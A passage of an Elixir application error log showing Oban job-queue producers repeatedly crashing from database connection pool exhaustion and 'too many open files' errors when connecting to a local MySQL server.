  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:45:08.242017Z], limit: 10, uuid: "3b8198a2-4a15-4e4b-aeed-5c89b891ce1d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:08.242022Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28446>, refresh_timer: #Reference<0.2525715032.1099431938.28419>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:45:08.241631Z], limit: 20, uuid: "2f686ac3-7c93-4ac0-9a42-9ffead6d0d83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:08.241636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.510>, refresh_timer: #Reference<0.2525715032.1121189889.136166>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:45:08.239370Z], limit: 50, uuid: "50cb201a-f243-499d-a7a7-3bfe70f227a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:08.239376Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.509>, refresh_timer: #Reference<0.2525715032.1077673987.488>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:45:08.243865Z], limit: 3, uuid: "8eaff79d-f65c-4c29-a78f-4b2f1cd98543", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:08.243871Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.511>, refresh_timer: #Reference<0.2525715032.1121189889.136183>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:20.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:45:08.242200Z], limit: 5, uuid: "fdec6515-d1e3-421b-b462-adedeeee4d70", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:08.242205Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.508>, refresh_timer: #Reference<0.2525715032.1077673987.494>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:20.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:45:08.242255Z], limit: 5, uuid: "fffd2bf1-386c-439c-8210-99829ac886c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:08.242260Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28447>, refresh_timer: #Reference<0.2525715032.1099431938.28424>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:20.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:23.421000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:23.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:23.508000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:26.503000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:26.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:31.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:45:20.250740Z], limit: 3, uuid: "d3bf06c7-1f43-4ad1-871c-f880e6bcd806", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:20.250746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28592>, refresh_timer: #Reference<0.2525715032.1068498948.28100>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:45:20.251028Z], limit: 50, uuid: "af9df739-15f2-4f34-881b-1d8957287b8f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:20.251034Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.829>, refresh_timer: #Reference<0.2525715032.1068498948.28110>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:45:20.251249Z], limit: 5, uuid: "62ada47d-c316-4e2c-9a8a-ffe12ff56e57", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 